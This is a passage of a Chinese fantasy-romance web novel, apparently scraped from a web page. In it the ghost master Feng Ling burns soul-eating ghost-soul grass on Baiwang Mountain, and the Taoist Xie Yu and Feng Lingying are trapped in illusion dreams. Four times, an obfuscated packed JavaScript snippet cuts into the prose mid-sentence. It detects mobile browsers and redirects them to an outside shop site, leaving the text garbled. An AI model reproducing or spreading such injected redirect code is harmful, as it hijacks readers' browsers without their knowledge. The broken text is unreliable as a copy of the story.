“幽魂草喜居潮暗阴湿之地,又惯以人骨血肉为养料。怨气、恨意、痛苦、不甘……越是消极浓烈的情绪,它们越是喜欢。”封灵说的缓慢,“你口中的那本游记,上写的酆氏女若真是酆灵英一直想找的女坤先祖,那她死时一定受了许多的折磨……不过么,既说是死于百只鬼口之下,那确实也不是个什么舒服的死法。” “……至于酆灵英与你商量的什么找寻之法,若我没猜错的话,也就是想趁着她自家迁坟探穴的当头,寻到一处最适宜幽魂草生长的地方,再搜索她那位早死先祖的遗骨吧。” 解玉其实说的含糊,却并不妨碍封灵听后几句话的推敲,甚至还句句到位。 “……不愧是鬼大王,一猜一个准。” 解玉虽也不算是故意想要隐瞒什么,但也抱了自己把事情查实清楚后再细说的心思。哪曾想鬼师娘娘十足的聪明,就这么听了半茬的话,也能够猜个八九不离十。 “因虽找的不算准确,过程中也出了些偏差,果倒是阴差阳错的对上了,”封灵鼓励般夸赞了一句,“解道长与酆姑娘还是挺厉害的。” 虽然听着……有些嘲笑的意味在里头,但解玉却清楚这已是鬼师娘娘夸人的路子了。她若真要嘲笑谁,一开始便正大光明地说了,也根本不知道委婉这两个字要怎么写。 “那鬼大王,你要与我一起——” 解玉的话才说了半截,便被身后一声脆亮的哨响打断,不多时又有人疾步找了过来。 “解道长,仪式要开始了,太子殿下正等着您回去呢!” 封灵挑着眉,一副难以言喻的表情。酆家的排场还真是大,如今不过是迁坟前的探穴小事,自家人在场也就算了,竟还邀了一堆的王公贵族来陪站。如今还要做什么仪式,不知道要耽搁多久才到正事……照这架势,只怕到岁末正式迁坟之时,更要多上不计其数的挑剔与讲究。 「你回去吧,我就在这附近看着,那地方混杂的生气太多,我闻久了头疼。」 封灵遥遥看了一眼,确认自己对那不知何时架起高台的地方毫无兴趣后,简单朝解玉说了一句,便飘落在临近的树干之上,又目送着后者被人请回了太子身边。 单调的哨响变成了丝竹礼乐之音。 酆家的仪式正式开始了。 封灵歪靠着树干,垂目注视着底下一瞬间沸腾起来的热闹场面,颇有些无言以对。若被不知情的外来户看见了,只当是这里在庆贺什么喜事罢,哪里看得出在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403610|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议讨移棺迁坟的阴属内事呢…… 果然还是远离的好。 毕竟,站在高台之上主持仪礼的,不是那位地位尊崇的国师大人,而是如今只为少家主的酆灵英。若她没看错,人群中的太子与好几位皇室宗亲,脸上的表情可谈不上愉悦。 酆家既要吃皇室的这碗饭,不想着如何守住眼前的权势富贵,反倒试图骑在主人家的头上做主了……怕是早晚要大厦倾覆。 封灵拧着眉又隔得远了些。人多的地方阳气便盛,偏今日要找的是阴气重的地方,两相冲撞之下,又混杂了更多的垂涎与谲诈……她闻着可太难受了。 但这也只是原因之一罢了。 她此行的目的还没有达到,酆父和跟在他身边的家伙也还不见踪影。留解玉在酆灵英处观察动静,她便好安心找寻她要找的人了。 两手交叠掐出一道法诀,封灵抬着一双腥红的眼睛向四周望去。仪式已经开始,此行来百望山的人也都聚在了一处,可她还是没瞧见酆父的身影。 难道是临时遇事改了行程,所以主持仪式的人也换作了酆灵英? 封灵暗自思忖着,旋即又推翻了自己的这番猜测。不对,若酆父早说过不来,又或是提前知会过谁,太子他们的表情不会那样难看……酆父肯定就在百望山,或许也如封灵一样,悄无声息地在某处窥伺着、等待着。 可若是这样,她该如何把人找出来呢…… 直接放鬼火烧山肯定不行,底下还站着一群的道士和普通凡人呢。可若是一直等着对方找上门来,又实在太被动了些。 封灵啧了一声,被此刻束手束脚的感觉燃起一股无名火气。抬手化出折扇,又用力地扇动起来,几下之后却突然停住了动作。 那日夜半,她分明在家主院呆了许久,又与酆父交手了好一阵工夫,那非人非鬼的怪物却始终不曾出现。直到……直到她走时现出了这把折扇! 封灵握住扇柄的手有一瞬间的收紧,眼中惊疑不定。若真是她想的这样,那她此刻用的武器、她此前幻化的白衣,似乎都在酆家某些人的眼里有着特殊的含义…… 可为什么酆灵英一副不知情的模样,她可是酆家来日的家主啊…… 封灵心中疑团愈多,却也坚定了她要把人抓出来问个究竟的想法。 她如果没有记错的话,那只怪物当时是在自己对折扇施术后突然出现的。既如此,她便再试一次! 封灵看着底下的人群,和站在人群中一无所知的解玉,犹豫了几瞬,还是悬身让自己离得更远了些,最后又落在了荒无人烟的林地最深处。 这样便不必担心会伤到凡人了。 左手掐出一道法诀,右手握住折扇平置在身前,封灵抿着嘴,小心控制着力道,左右手逐渐靠近。 指尖即将触上扇面的前一刻,空无一人的身后却突兀传来了问候的声音—— “好巧,鬼师娘娘也在此地有差事?” 51. 幽灵鬼草 封灵的动作蓦地一僵,先是掩耳盗铃般收回折扇,而后才脚步迟疑地转回身,随即面上一怔。 “……谢必安?” 平日里总是出行成双的黑白无常,这会儿怎么单剩下一个,又是怎么突然从百望山里冒出来的? 谢必安近前两步,笑吟吟地一拱手,表情夸张地朝四周张望了几眼,方道:“今日竟不见那位总跟在您身边的道长,鬼师娘娘莫不是已经厌了他,所以将他撵走了不成?” 又是熟悉的打趣口吻。 封灵却在听见这句话后陡然松了口气。看来并不是哪只胆大包天的鬼祟假冒的,真是谢必安自己跑来百望山了。 “人家有手有脚的,哪里需要一直跟在我的身边?”封灵反驳了一句,随即问起谢必安的目的来,“你又怎么会来这里?百望山似乎不在你跟范无咎的职属范围内……” 谢必安伸出一根手指,煞有其事地放在封灵的眼前摇了摇,又一脸正色地开口:“可不是这样的顺序……鬼师娘娘,刚才分明是我先问的您,哪有你这样不答反问的道理。” 封灵迅速眨了眨眼睛,面不红耳不赤地找了个借口,“乌贺让我过来给他帮忙,承诺完事以后分我一半香火……我便来了。” “谢某这一路过来,可没见到北地城隍主的影子呢,”谢必安满脸的欲言又止,“您就是不乐意说,也别拿这种假话敷衍我吧。” “谁敷衍你了……若不信,你大可去孟婆那里问个清楚,看是不是乌贺当着她的面找上的我!”封灵嗤了一声,“反正,我算是答了你的话了。你呢,你来这里做什么?” 谢必安面露悻悻然,伸出手指向地面,朝封灵挤眉弄眼了两下,道:“冥主他老人家生了大气,我便奉了他的命令跑过来办差的。” 封灵掩面轻咳两声,一并遮去嘴角险些绷不住的笑弧。酆都大帝竟也有被气得生大气的一日,还真是件稀罕事。 “是哪只小鬼不懂事,冲撞了冥主,把他惹生气不成?” 左右一时半刻是走不掉了,封灵便也耐着性子跟谢必安闲聊起来。 “这您可说错了,咱地府里谁敢找冥主他老人家的不快哪,又不是嫌自己死得还不够凄惨……当然了,鬼师娘娘您还是不一样的。冥主他老人家自来看重你,千年来又多番委以重任,不一样的,不一样的!” 谢必安迎着封灵盯向他的腥红眼眸,话在嘴里打了个转儿又利落地改口。若不是脸上始终挂着不正经的笑,封灵说不定还真会勉为其难地相信这位无常大人改了性了。 总是以调侃为乐的白无常,这会儿却无端端的夸起她来,绝对是有什么猫腻在前面等着她呢…… “你又在打什么鬼主意?” 封灵警惕道。 “鬼师娘娘,您就不想先知道冥主他在生什么气吗?” 谢必安抬手搭过封灵的肩膀,好巧不巧地落在了后者前几日受过伤的地方,又被封灵不耐烦地抖落下去。 “嘴长在你自己身上,你想说便说,我还能拦着你不成!” 封灵的语气一下子变差了不少。倒不是因为谢必安说了什么,只是她肩上的口子才被补好没两日,如今时不时还会隐隐作痛,刚才被谢必安一搭,那股钝痛便明显了起来。 “您如今的脾气是越来越差了,”谢必安咂着嘴,“我这不是忙不过来了么,想着求您帮我了了这一趟呢!” “……什么意思?” “也不知道您听说了没,冥主他老人家前些时候来了趟人间的事……” 谢必安压低了声线,刻意摆出一副神秘兮兮的模样。 闻言,封灵因刺痛而偏移的注意力又重新回到谢必安身上。此前孟婆来找她时,便提过酆都大帝离开地府的事情,他俩个说的……莫不是同一件事情? “冥主来了人间,然后呢?” 封灵摆出要捧场的架势,主动追问。 “这还得从头说起了……” 谢必安也不知从人间哪处客栈学来的说书先生做派,故意拿腔拿调,颠来倒去、忽断忽续了好几场才将事情的来龙去脉说清楚。 原是天上的一位仙官去人间投胎历练,一世寿终后,本该入地府勾去名姓,恢复前身记忆后再返回天宫的,却迟迟不见其魂魄出现在奈何桥。 天兵们在上头找不见人,城隍们在人间也搜寻无果,酆都大帝便又命了鬼差在地府辖界觅踪,最后却只在黄泉路上找到那仙官残剩的一缕魂魄。 “……残剩的、一缕魂魄?” 封灵艰难地开口。 “也可能连一缕都不剩了……反正等冥主赶过去时,那仙官已经彻底救不回来了,魂魄碎裂,神智不存,连再投入轮回滋养修补的可能也没了。” 谢必安不知何时蹲在了一棵大树底下,正咬牙切齿地拔着地上的野草,“都怪那些乱长的幽魂草,守在黄泉吃谁的魂魄不好,偏挑了个骨头最硬的!听说那仙官在天上颇受看重,原是为了堪破情劫增进修为才去的人间……这下倒好,直接把他们养的好苗子给毁了!” 封灵一下子听明白了。竟是幽魂草把仙官的魂魄勾进了幻境,又一点点将其嚼碎变成了自己的养料。 “……既是仙官,怎还会被幽灵草诱引?” 封灵纳罕道。 也怪不得她有这样的想法,实则是幽魂草的本事也没有那么大,能被勾进幻境的,也不过是些毫无修为、心智不坚定的普通凡人,否则它们也不会几百上千年的恣意在黄泉疯长了。 “他下地府的时候还只有凡人的身份与记忆,又因为幽魂草陷进了生前经历过的情劫之中,这才……” 谢必安没有再说下去,但看他一脸难言的表情,大概也是觉得这仙官是白往人间历练一遭了。不过这仙官也确实倒霉了些,也不知在人间经历了什么,最后竟甘愿堕于幽魂草编织的一场美梦当中,再不复醒。 “……这便是冥主生气的原因?” 封灵收回思绪,继续问道。 “幽魂草长于黄泉,黄泉又归属地府,这没了仙官的责任不就得咱们冥主来背么……所以前些时候,冥主特意去了趟天宫,在上面不知道说了些什么,回来后在人间走了一圈,便下令要把幽魂草全部灭了。” 谢必安退去常挂在脸上的不正经表情,此刻背影萧条,颇有些“生”无可恋。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422957|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 封灵这些全明白了。怪不得白无常会突然出现在百望山,看来解玉和酆灵英嘴里所说的发现了幽魂草的事情,还真不是被人造假诓骗了。 “所以,你是想让我帮什么?” 封灵心中隐隐有些猜测,但还是得先细问清楚才行。 谢必安倏地一下站起来,脚步沉沉地走到封灵跟前,两手搭在前者的左右肩膀之上,半死不活地开口:“鬼师娘娘,这里的幽魂草就烦劳您帮我除了吧!” “……” 见封灵没有立时搭话,谢必安面上神色更是沉痛,“就为了除这些东西,我这几日已经往返地府和人间许多趟了……它们实在太多了!” 这一点封灵倒是能感同身受,毕竟这幽魂草见缝就长,有一年甚至差点直接将奈何桥全部包裹在里头,惹得孟婆发了好大一通脾气。 可是,这东西也除不尽啊…… “毕竟是冥主派给你的活,你背着他老人家找我帮忙,还是不太好的,要不就——” 要不就算了吧。 封灵试图推拒,最关键的几个字还没来得及说出口,就在听到谢必安紧随而至的一句话后自觉咽回了肚子。 “鬼师娘娘,您若帮我这一次,明儿我就去给您身边的那位道长添个十年功业,保他来世有个好胎,如何?” 谢必安语气铿锵。 “……要不就我自己小心些,也免得你被冥主发现了。” 封灵顺风扯帆。 各怀心思的两“人”相视一笑,一切尽在不言中。 “但这东西今日除明日长的,也没有那么容易被灭掉……”封灵替此刻不在这里的解道长收了好处,又开始挑剔起来,“冥主既叫了你办这事,想来是给了你法子的吧?把它也一并给我。” 将手摊在谢必安的眼底,鬼师娘娘不肯吃亏的性子在这一刻又冒了出来。 想是听到了封灵的准信,谢必安的表情一下子放松许多。抬手从封灵的手上拂过,透亮澄莹的小玉盅便出现在前者掌心。 “冥主特意为灭幽灵草炼的,”指尖在盅盖上点了点,谢必安解释起来,“先用鬼火将它们烧了,再将这里头的东西倒在它们的根上,保管叫它们再无重新生长的可能。” “……早把这东西拿出来,幽魂草哪一年便没了,哪里还会有这之后的事情。” 将玉盅小心地收了起来,封灵睨了白无常一眼,嘴里小声地嘟囔。 谢必安只当什么也没听到,“那就多谢鬼师娘娘了,我还要赶去下个地方,便不在这里多耽搁了。” 说罢,转身欲走。 “等等!” 封灵扬声把白无常叫住,“你还没说百望山的幽魂草长在何处呢!” 谢必安回过头,狡黠一笑,“那位、是姓解吧……解道长此刻不就跟着那群凡人身边,等着找百望山里最潮暗阴湿的地方么,长着幽魂草的地方便不需要谢某再多说了吧。” 果然,他一开始便知道解玉在这里,头先说的那些话又是来洗涮她的! 封灵气得捏紧了拳头。 而谢必安,早在这句话说完以后,便马不停蹄地消失了。 52. 动手前夕 一脸无言地送走谢必安,封灵却没有急着离开,反而停在原地仰头观察了下天色,方才惊觉自己被白无常耽搁了太多的时间。 翻手化出折扇,封灵握在掌心犹豫了一会儿,还是无可奈何地收了回去……这会儿怕是时间不够了。 她的耳边已不见任何的丝竹管弦之声,想是酆家的那场仪式也已步入尾声了,就是不知道最后将迁坟的地方定在了何处。 虽然自己的事情没做成,但好歹替解道长挣了点功业回来,也算是聊胜于无吧。 鬼师娘娘如此这般地安慰了自己一通,方循着来时的路慢慢悠悠地踱了回去,又在即将撞上人群前飘身坐回了一开始的树干之上。 而后,看到了自己遍寻不见的那个人。 酆父不知何时取代了酆灵英,此刻正站在高台之上做着最后的仪式。左手持剑,右手握罗盘,嘴里念念有词,脚下左右绕圈。不多时两目陡然瞠大,剑尖悬停直指某处,高喝了一声“定”,肉眼可见的白光自罗盘中心涌出,又迅速地射向剑尖所指的深处。 “……多谢太子与诸位同来观礼。今日仪式已毕,待吾家先祖们岁末正式迁往百望山之时,再诚邀各位大人来此一聚,同庆同祝!” 酆父收回剑与罗盘,转身递给一旁静默等候的小厮。扯了扯微微有些褶皱的袖子,慢吞吞地将两只手拢在一处,这才拖着不紧不慢的腔调朝台下诸人张口。 俨然傲慢至极。 「天欲其亡,必令其狂。」 封灵无端想起曾在书里看到的一句话,深觉酆家如今的言行与此话别无二致。若是酆灵英能早些上位,或许还能让酆家这艘大船多漂荡些时候。若是不然,举族倾覆也只是时间的问题…… 封灵只看了两眼,确认酆父身边没有跟着那只人鬼不明的东西后,便兴致全无地挪开了眼。正要在人群中搜寻解玉,却见原本敛目肃容的酆父突然朝自己的方向看了一眼。不是漫无目的的随意扫视,而是直勾勾对上了正坐在树上的鬼师娘娘的红眸。 带着意味不明的笑意。 这是看到她了? 封灵原本微塌的背脊一下子挺直起来。迎上那道含着深意的注视,红衣鬼不屑地轻嗤一声,又毫不退缩地瞪视了回去。一人一鬼的视线在半空中交织了片刻,仍是酆父先别过了眼睛,走下高台与诸人应酬起来。 他这算什么,挑衅? 封灵目光冷淡地跟了一路,直到看见解玉的身影才缓了神色。看来那天夜里的教训,并不足以让酆父兴起任何的忌惮,甚至因为那只怪物的存在,更加有恃无恐起来。 重新将后背靠上树干,封灵阖眼沉思了会儿,决定先将酆父的事情放一边,把谢必安的那一茬解决了以后再说。毕竟以酆父刚才的态度,便是封灵不主动出击,前者只怕也会殷勤地送上门来的。 打动了主意,封灵反而不着急了。酆父的路子是路子,酆灵英那边的路子也是路子。他们本就是要借幽魂草找地方的,顺道挣了谢必安的十年功业更是两全其美。想好了的鬼师娘娘默默在树上养起了神,直到被解玉的呼唤声叫“醒”。 翻身从树上飘落,封灵动作轻盈地停在解玉身前。灿亮的红眸并非看向解道长,而是落在了几步开外的酆灵英身上。 原本挤闹的人群已然散离,除了零星留在百望山收拾残局的几个小厮婢女外,再不见其他的酆家人,酆父也又一次不知所踪。 只有酆灵英留了下来。 「鬼大王,他们探到了地方,然后酆姑娘就想请你与她一道、一道……」 大概是因为酆灵英站在身后的缘故,解玉这一次没有直接开口,声音反从封灵的心底冒了出来,又久违地吞吞吐吐起来。 封灵歪着头越过解玉的肩膀,将酆灵英的表情看得更清楚了些。女子显然有些急切,眉心间凝着一股不散的灼意。两手扯着袖角,几次抬步又停下,整个人带着肉眼可见的焦躁不安。 「你是不是已经替我拦过许多次了?」 解玉睁大了眼睛,眼看着鬼师娘娘绕过他走到酆灵英的身前,又迈着慢吞吞的步调围着人转了一圈,心跳一下子剧烈起来,几欲破开胸膛而出。 而酆灵英似乎也并非一无所觉,周身萦绕的灵气同样在牵引着她朝封灵的方向探去。只是左右张望之下,两目仍是空空。 “……解公子,那位鬼大人可在附近哪?” 酆灵英脚尖转了方向,正对着封灵最后停下的地方,几番斟酌后才迟疑地开口。 解玉眼珠轻飘飘地一动,正要瞥向封灵拿个主意,却见酆灵英三步开外的地方凭空多了把折扇,一刹那的功夫便又迅速消失了。 「你知道他们选定的地方在哪儿吗?」 也不管酆灵英一瞬间露出的惊喜神色,封灵只摇着扇子询问起解玉来。 「从这里往北两里地,有一处背靠土形山的平地,正前方与半月形水塘相对,活水四季不枯,是酆家找到的风水绝佳之地。」 解玉回忆着酆父此前当着太子的面说过的话,又一字不落地转述给封灵。 「你带干粮了吗?」 封灵突然问了句不相干的话。 「本来是带了的,但在路上都吃的差不多了,也没来得及再备些新的……」 解道长不明所以,却仍老实回答。 「那你就去跟酆灵英说,让她先跟你在附近的村镇落个脚,吃点东西休息一会儿,等入夜后人都散尽了再回来。」 封灵折扇一合,开始指挥起来。 「……入夜?鬼大王,多久才算是你口中的入夜?」 解玉没有急着开腔,而是继续在心底问着封灵的准信。 「解道长,听说过‘夜半三刻鬼敲门’这句话么……既要找非人之物,自然得三更半夜的时候再来了。」 封灵习惯性的戳着解玉的肩膀,又朝正惊疑不定看向这边的酆灵英一示意。 这理由倒说的过去。 解玉便也不疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462905|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有他,转身走到酆灵英的身边,按照鬼师娘娘的说辞又是一番低语。封灵便看着后者的脸色从最开始犹豫不定,再一点点到最后的怀疑尽消。 “灵英多谢鬼大人相助。待今次事毕,灵英定回去为大人奉上香火无数,也好聊表自己的感激之情!” 酆灵英估摸着一拱手,又暗暗瞥了解玉一眼,见后者动作极轻地颔首,便知自己拜对了方向,旋即又深深一俯身。 「不愧是当了少家主的人,说话做事就是比别人豪气!解道长,你还记得太子那事给了多少香火么?百日而已……到底是一笔写不出两个酆字,酆灵英有些地方还是与她家里人一样的。」 封灵不知想到了什么,语气颇为感慨。 「那我、我们就先下山去了?」 解玉不知该如何接茬,只好就着之前未尽的话,又问起其后的短暂安排来。 「去吧,你跟酆灵英都趁这时候好好休整一下,日夜颠倒总是会不适应的吧?」 封灵敷衍的关怀了几句,旋即便催着解玉带着人离开。自己却没有跟着同去,而是重新躺回了树干上,美其名曰懒得跑。 事实上,封灵刚才的话只是托词而已,什么入夜不入夜的,全然都不打紧。她只是为了把这两人支开,免得留在这里碍事罢了。等她把百望山的幽灵草烧了个精光,谢必安的事情可了,酆灵英的事情也可省事不少了。 …… 借着从树隙间透下的月光,封灵悄无声息地穿行在山间深处。按照解玉白日里提到的方位,一步步朝幽灵草的大本营走去。 她其实不必须按照凡人的方法慢慢走过去的,但或许因为跟解玉呆一起的时间久了,便也沾上了几分凡人的习气。只要不是十分紧急的情况,她便也习惯用凡人的方式去解决每一件事,甚至隐隐有些乐此不疲。 也不知是好是坏。 封灵漫无边际地胡思乱想着,脚下却是一刻不停,不过片刻功夫便到了解玉口中的风水宝地。一望不到头的幽魂草生的茂盛,比外沿的普通野草高了近大半个人身,此刻正在月华的映射下闪烁着微芒,又被夜风吹拂着不时左右摇摆。但这一切却与静谧美好扯不上任何的关系,只让人感受到无边的阴寒与刺骨。 将将踏进幽魂草的地界,无数条白色的根茎便迫不及待地缠上了封灵的脚踝,又用力将她朝下拖动着,似乎想把眼前这道红色的影子直直埋入地底。 “……好本事,你们的同伴才吃了天上的仙官,你们就想吃了我这个地府的鬼师吗!” 封灵冷笑一声,连勾魂索都难得从腕上取下来,只凶狠地一跺脚,幽魂草便操着咿咿呀呀的怪叫声迅速朝阴影处退去。 封灵哪能容得了它们逃跑,两手一翻便在掌心燃出鬼火。半眯起眼睛,鬼师娘娘带着不怀好意的狞笑,振袖便想将这一片幽魂草地烧个精光,却不想身后突然传来两道急促的脚步声,解玉的声音旋即响起—— “这地方,还真长着幽魂草哪……” 53. 幻矣梦矣 “别踏进来——” 封灵急急喝道,却仍是迟了一步。 解玉与酆灵英不知缘故地提前出现在了百望山,又正正好踩进了尚未全部散退的幽魂草丛中,后者立刻卷势重来,转而缠上酆、解两人的脚踝。 解玉动作迅速地避开,酆灵英更是反手刺下一剑,试图将脚边疯长的幽魂草砍掉。可无奈围住两人的幽魂草太多,断后再长的速度又太快,一时间根本灭除不尽,几个回合之后还是力竭中了招。 解玉与酆灵英的动作同时一滞,像是被猛地扯断了的丝线,两个人的身体顿时不受控制地向后倒去,只余下四只空洞无神的眼睛看向虚空。 “……该死!” 封灵回头时正看见两人倒地的场景,一时恼怒,连带着手里的动作也粗暴许多。迅速掐出一道繁复的法诀,红衣鬼师愤愤然扬起鬼火向四周铺散而去。幽魂草扭动着根茎试图藏回地下,却被早有察觉的封灵提前划出来的一圈火线断了退路。被迫现出矮细的真身,原本铺满整片平地的幽魂草只剩下极小的一团,哀叫呜咽声不绝于耳。 封灵近乎冷酷地看着眼前这一切,直到火光渐湮才面无表情地移开视线。一面从怀里掏出谢必安留给她的玉盅,一面转身欲回解玉的身边查探情况。只是刚走了两步,便在见到萦绕在两人周边的莹白雾气后又停了下来。 竟然是仙气…… 封灵拧着眉思考了几瞬,而后了然。 “怪不得人家能去天上做仙官呢。被幽魂草弄得身死魂消了都还不忘扶危救困,当真一副救世的好心肠……可惜了。” 封灵发出一声颇为遗憾的感慨,却也不再担心解玉与酆灵英两人的情况,决定先将幽魂草彻底收拾了再说。 翻手将玉盅抛向空中,又挥袖打去一道劲风,那盅身便“砰”的一声炸裂开来,装在里面的灰褐色液体立刻四溅而下,滴滴答答地落向尚未死绝的幽魂草残根。伴着封灵幽暗明灭的鬼火,那液体迅速在幽魂草的根茎上留下深浅不一的凹洞,又一点点将其侵蚀腐融,直至最后彻底消失。 这样便算是“斩草除根”了。 封灵一桩事毕,浑身也松快不少。看着眼前重新归于平静的所谓风水宝地,开始认真思考起要不要好“人”做到底的问题来——替倒在地上的这两人提前去探上一探,也免得再出现什么变故。 可惜这个念头只短暂地在封灵的脑海中停留了几瞬,便又被她自己毫不留情地掐灭在萌芽状态。 这虽是酆灵英的执念,封灵却也不是不能插手。只是若插了手,于她诸事无益以外,还会给自己加诸多一重的因果。是以如今她也不过在酆灵英眼前表明了存在,一并借解玉的口吩咐提点几句罢了。 几步走到解玉跟前,封灵还在想如何绕开这残留的仙气,便见那莹白雾气自行分散成两股,像是知道眼前的女鬼没有恶意般,只围着红衣鬼师转了一圈,便再无保留地散于天地之间。 封灵下意识抬手去抓,却只堪堪触到几缕微末银芒。那莹白雾气带着对人间似有若无的留恋与不舍,轻轻贴上了封灵的指尖,又最终于封灵的指缝间彻底消失。 半蹲在解玉身前,封灵伸出两指摁在男人的脖颈间,确认性命无虞后才扫视起男人的脸色来。解玉的眼睛不知何时已经闭上,像是陷入酣甜的美梦般平静异常,只有额前遍布的细密汗珠还昭示着这人尚未脱离险境的现况。 引人入梦的幽魂草已经没了,解玉和酆灵英身上又都有残余仙气的庇护,不至于被困死在幻境里头……余下的,便是等这两人自行从梦里醒转了。 思及此,封灵干脆盘腿坐了下来,肘部抵上膝盖,两只手则撑在下颌关节的地方,歪着头百无聊赖地观察起解玉的脸来。 也不知道这人的梦里会不会有她…… 封灵被自己的想法吓了一大跳,反应过来后又使劲晃了几下脑袋,一副自己还不够清醒的模样。解玉额头的冷汗一直未消,想来做的也不是什么美梦,便是有她出现,只怕也不会得个好结局,还是别胡乱假设给自己添堵了。 只是,等待的时间总是难熬的。 封灵从前独自往来人间时,从不会觉得岁月漫长,如今身边才跟着解玉几个月,她便越来越不习惯没人说话的滋味了。 颇觉没意思的鬼师娘娘试图给自己找些乐子……从细数解玉眼上的睫毛,到埋着脑袋拔起地上的野草,再到仰头看向天边半遮半掩的圆月。在尽量不让解道长掉出自己视线范围的前提下,封灵把身边能打发时间的东西玩了个遍。 也终于等到了解玉从梦中转醒。 “……封灵!” 解玉猛地从地上坐起,额头的汗珠顺着脸颊滚落,又一点点滴进肩窝。男人似乎还没有意识到自己已从噩梦中挣脱出来,只带着急促而混乱的呼吸声左右张望着。在发现树下静立的红色影子后,解玉更是跌撞着爬起来,疾行几步冲到封灵的面前。 迎着后者询问似的目光,解玉堪称绝望的表情一下子怔松许多,紧绷的肩背在见到封灵的这一刻,终似不堪重负般佝偻着弯下,又带着带着柳暗花明的巨大庆幸感,不管不顾地拥住了他的鬼大王。 像是拥住了自己的全部希望。 “……解道长,你这是做噩梦了?” 封灵玩笑般打趣了一句,又将手抬起覆在男人的背上。本欲把自己从解玉太过逼仄的怀抱里挣脱出来,却在透过掌心感受到前者颤抖剧烈的身体后僵住了动作。 这人,是真的在害怕…… 封灵无声叹了口气,越过解玉的肩头看向此前中招的另一人,酆灵英似乎也才转醒,又与解玉一样分不清梦境与现实,这会儿正跌坐在地上茫然发呆。看来也是一时半会分不出闲心来关注他们这边了…… 微侧着脑袋靠上解玉的肩膀,又将手环上男人精瘦的腰,封灵难得柔了神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493054|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温柔而坚定地安抚起解玉的不安来—— “好了好了,我在呢,就好端端地在你面前站着呢。解玉……解道长,你只是做了个噩梦罢了,梦里的一切全都是假的。抬起头来看看我,看看我好吗?” 说着,又将手停在解玉的背上,像是在给男人无言的支撑。 解玉沉默了一阵,身体总算不再颤抖,却转而将头默默偏向了封灵的反方向,一双手仍是环住红衣鬼师不放。 “……解道长,你这是终于清醒了?” 封灵只淡淡一瞥,便看出解玉的状态和刚才有了区别,原本温柔轻缓的动作也重新变得粗暴起来。勾着嘴角往男人后背一拍,伴着解道长咬牙一记闷哼,封灵毫不留恋地离开了身前温热的怀抱,又迅速站在三步开外的地方整理衣襟,眼底隐隐有慌乱闪过。 “我、我就是……” 解玉别过眼,吞吞吐吐了好一阵,似乎想解释自己为什么会提前跑过来,可最终还是什么也没说,只垂着脑袋认错,“鬼大王,我好像又给你添麻烦了……抱歉。” 这人似乎只会在自己着急的时候,才敢连名带姓地直呼封灵两个字。眼下理智回笼,便又老老实实地叫回了鬼大王。 “添什么麻烦?我怎么不知道你给我添了麻烦……解道长何时这样的自以为是了?” 封灵弯起一抹极淡的笑弧,重新化出扇子往人的脑袋上戳了一下。看着男人有些反应不过来的表情,眼底的笑意更大。 “不过么……” 封灵故意停顿了一下,转着眼珠露出几分狡黠,“我还是很好奇解道长梦见了什么的,竟能让你吓得往我的怀里钻。” 她才不会承认自己被一个凡人抱住了,还一点都不反抗地抱了大半刻钟! 只是解玉的反应却有些不太对劲,破天荒地逃避了封灵的问题,又扯着袖子去擦方才倒地时留在脸上的泥痕,含糊的答了两句,“记不清了,大概是梦醒了就忘了吧……” 封灵自然不会相信,一双红眸半眯着看向解玉。正打算说些威胁恐吓的话,酆灵英那厢却开始传出响动了,当是也醒过神来了。 “……解公子?” 果然,不过一盏茶的工夫,酆灵英的声音便出现在一人一鬼的耳边。 封灵咂着嘴,偃旗息鼓般退后两步。解玉却没有被人解围了的高兴劲儿,反而在转身与不转身间犹豫了起来。 “解公子……是解公子吧?” 酆灵英的声音更大了些,话里却更多了几分试探与怀疑。看来,被幽魂草带进噩梦里的不止解玉一个,因为梦里的世界混乱了真实的也不止解玉一个。 见男人迟迟没有答话,封灵少不得朝酆灵英的方向抬了抬下巴,又催促般的一示意,却跟着在前者嘴里听到了不可思议的一句话—— “酆姑娘,解某以为,找回先祖遗骨这种自家的隐私事,还是不要让外人插手为好……” 54. 态度转变 「解玉,你在说什么?」 